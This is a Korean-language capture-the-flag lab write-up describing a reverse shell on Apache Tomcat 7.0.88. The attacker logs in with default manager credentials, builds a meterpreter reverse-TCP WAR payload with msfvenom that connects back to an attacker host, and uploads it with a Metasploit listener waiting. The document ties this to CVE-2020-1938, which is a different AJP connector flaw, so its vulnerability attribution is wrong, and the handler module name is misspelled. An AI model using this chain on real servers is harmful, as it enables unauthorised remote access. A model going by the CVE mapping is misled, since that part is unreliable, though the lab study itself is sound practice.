CVE-2020-1938 악용

Apache Tomcat 임의 JSP 업로드를 통한 RCE

설명

CVE-2020-1938은 Apache Tomcat 9.0.0.M1부터 9.0.0.30, 8.5.0부터 8.5.50, 7.0.0부터 7.0.99까지 영향을 미치는 심각한 취약점입니다. ⚠️ 이 취약점은 Hack The Box 랩에서 악용되었습니다.

🔗 참고: NIST NVD 항목

정찰

공격 벡터 식별

1. 웹사이트는 Server Status 기능에 기본 자격 증명을 사용합니다.

2. 이 인터페이스는 버전이 Apache Tomcat/7.0.88이며 64비트 아키텍처임을 나타냅니다.

3. 이 인터페이스에서 애플리케이션 목록으로 이동하면 .war 파일 Upload 기능이 노출됩니다.

4. 업로드 성공 시 .war 파일은 /directory/filename에서 실행됩니다.

5. Apache Tomcat 버전 조사를 통해 CVE-2020-1938에 대한 취약점이 확인되었습니다.

6. 악용

.war 파일 생성

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=3004 -f war -o exploit.war

Metasploit 페이로드 생성기인 msfvenom을 사용하여 exploit.war 페이로드를 생성합니다.

1. -p windows/x64/meterpreter_reverse_tcp는 페이로드 유형입니다(우리의 경우 Server Status에서 확인된 64비트).
2. LHOST=10.10.14.3 LPORT=3004는 공격자 머신의 리버스 연결 세부 정보입니다.
3. -f war는 파일 형식입니다.
4. -o exploit.war 출력 파일 이름입니다.

파일 생성 후, 파일 내부로 들어가 .jsp 파일의 이름(예: gcvxdtmxvw.jsp)을 찾아 나중을 위해 저장합니다.

Metasploit 설정

msfconsole
use exploit/multi/hanlder
Set LHOST 10.10.14.3
Set LPORT 3004

msfconsole을 사용하여 페이로드가 실행될 때까지 대기하는 리스너를 설정합니다.

악성 파일 업로드 및 실행

배포 섹션에서 이미지를 업로드한 후 화면을 새로고침하면 파일이 성공적으로 업로드된 것을 확인할 수 있습니다. 익스플로잇을 완료하려면 ip/hacked/gcvxdtmxvw.jsp 경로로 이동해야 합니다.

이 요청은 중단되지만, 로컬 머신에서 리버스 연결이 수립된 것을 확인할 수 있습니다.